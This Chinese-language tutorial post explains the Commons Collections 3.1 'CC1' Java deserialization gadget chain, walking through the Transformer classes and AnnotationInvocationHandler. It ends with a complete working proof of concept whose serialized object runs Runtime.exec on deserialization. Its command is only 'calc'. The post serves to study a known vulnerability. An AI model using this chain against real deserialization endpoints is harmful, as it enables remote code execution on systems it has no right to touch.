Java安全-反序列化CommonsCollections1利用链 在上一篇文章中,我们学习了Java反序列化入门的URLDNS链,这次进行CC链的初次学习
前置知识 在学习CC链之前,我们需要了解一些前置知识,其实就是了解CommonsCollections
中的几个Transformer
,这几个类建议直接看着源码来学习
环境 1 2 3 4 5 6 7 8 9 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency > </dependencies >
JDK
版本应该为8u71
之前
Commons Collections 这个Commons Collections是什么意思呢,简单的说,就是一个对Java的标准Collections API提供一个补充,有点像增强版的Collections,在标准的基础上对其进行了很好的封装、抽象和补充,实际上的作用就是提供一个decorate方法 ,我们传进去一个Collection和需要的类型甄别信息java.lang.Class,它给我们创建一个全新的增强版的Collection
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public interface Transformer { public Object transform (Object input) ; }
Transformer是一个接口,注释中说到,这个接口的transform方法是将输入的对象转换成某个输出的对象,在转换Map的
这是一个对Java标准结构Map进行增强的类
1 Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);
然后看看我们需要用到的decorate方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
第一个参数就是我们要修饰的Map对象,后面两个参数keyTransformer和valueTransformer是两个实现了Transformer接口的类,在经过这个增强之后,传入参数的时候,将调用keyTransformer和valueTransformer分别对传入的key和value值进行处理,为null的话就代表不进行处理,传出的Map就是经过修饰的Map
1 2 3 4 5 6 7 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
比较简单,看一下源码,是一个实现了Transformer接口的一个类,就是在构造函数的时候传入一个对象,然后返回这个对象
看到这个名称,就会想起反射中的方法调用,具体看看源码,利用反射执行函数:
具体实例化的时候需要传入三个参数,第一个参数是方法名,第二个参数是该方法传入的参数类型,第三个就是要传入的参数列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
需要了解的最后一个类,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class ChainedTransformer implements Transformer , Serializable { public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; }
看名字也能大概理解一些,它的作用就是将内部的多个Transformer串在一起,也就是形成一条链子,将前一个Transformer输出的结果传到下一个,即把一个Transformer[]
当入参数传进去,根据这个数组中的Transformer
依次处理输入
通过上面那些,就能写出一个非常简单的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CommonsCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map outerMap = TransformedMap.decorate(new HashMap (),null ,chainedTransformer); outerMap.put("zjm666" ,"zjm666" ); } }
然后我们就可以开始构造真正的可利用poc了,前面说过,我们要触发这个回调的话,需要向Map中加入一个新的元素,然后在加入元素的时候调用我们编写的回调函数,在前面我们写的Demo中,我们直接手工用了put来出发漏洞,但是在实际反序列化的时候,我们需要找到一个类,能在反序列化的readObject方法中有类似的写入操作,这个类是sun.reflect.annotation.AnnotationInvocationHandle
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private final Map<String, Object> memberValues;private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
关键代码如下
1 2 3 Iterator var4 = this .memberValues.entrySet().iterator();Entry var5 = (Entry)var4.next();var5.setValue();
前面提到了,setValue
同样可以触发我们的“回调函数”,因此可以触发漏洞,其中memberValues就是反序列化后的Map,也是经过Transfomer修饰过的Map,在这里遍历了它的所有元素,然后在setValue设置值的时候触发回调函数
构造POC 构造POC的第一步,就是要构造一个AnnotationInvocationHandler对象 ,这个类是一个JDK的内部类,不能直接通过new将其构造出来,所以需要通过反射的方法进行实例化
1 2 3 4 5 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true ); Object obj = cons.newInstance(Retention.class,outerMap);
Runtime的问题 在构造完上面的对象后,我们需要将它进行序列化,然后就会用到如下代码进行序列化操作
1 2 3 ByteArrayOutputStream byteout=new ByteArrayOutputStream (); ObjectOutputStream objout=new ObjectOutputStream (byteout); objout.writeObject(obj);
然后就发现抛出了java.io.NotSerializableException
的异常,我们之前在讲序列化的时候就说过,当一个类需要进行序列化的时候,这个类必须要继承序列化的接口,报错的原因就在于Runtime
类并没有实现Serializable
接口,所以无法序列化
那我们可以使用反射的方法,通过Class类来获取Runtime对象,而Class是继承了序列化接口的,然后改变成Transformer的写法就是如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Class.forName("java.lang.Runtime" )), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class []{}}), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,new Object []{}}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) };
其实和demo最大的区别就是将Runtime.getRuntime()
换成了Runtime.class
所以需要多一步getMethod去获取getRuntime方法
readObject 然后我们来看一看反序列化的过程中是如何触发漏洞的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
可以看到如果要触发setValue这个方法的话,需要先经过一个var7 != null 的判断,只有var7不为空的时候,才会执行setValue进而触发漏洞
那我们分析一下,要想var7不为空,首先**(Class)var3.get(var6)**需要有东西,那再往前跟var3需要有东西,需要 Map var3 = var2.memberTypes();有东西,那么再来看看这个var2,它创建了一个AnnotationType的实例,再看看生成实例的参数 this.type ,也就是我们传入的Retention.class
1 2 3 4 5 6 7 8 9 10 @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Retention { RetentionPolicy value () ; }
方法名是成员名字,返回值是成员的类型,对于Map var3 = var2.memberTypes();
返回的这个Map
,它的键就是成员的名字,值就是成员的类型
需要var7 != null
才能进入if
,触发漏洞。想让var7
不为null
,就需要从我们控制的map里面得到的键,在Map var3 = var2.memberTypes();
得到的Map
里面也有同样的键才行。既然Retention
里面的方法名是value
,因此我们给传入的 Map
键设置成value
也就可以了
sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
被TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
而因为Retention有一个方法,名为value;所以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素
最终的poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package CommonsCollections;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class []{}}), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,new Object []{}}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("value" ,"xxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); cons.setAccessible(true ); Object obj = cons.newInstance(Retention.class,outerMap); ByteArrayOutputStream byteout=new ByteArrayOutputStream (); ObjectOutputStream objout=new ObjectOutputStream (byteout); objout.writeObject(obj); ObjectInputStream objin=new ObjectInputStream (new ByteArrayInputStream (byteout.toByteArray())); Object o=(Object) objin.readObject(); } }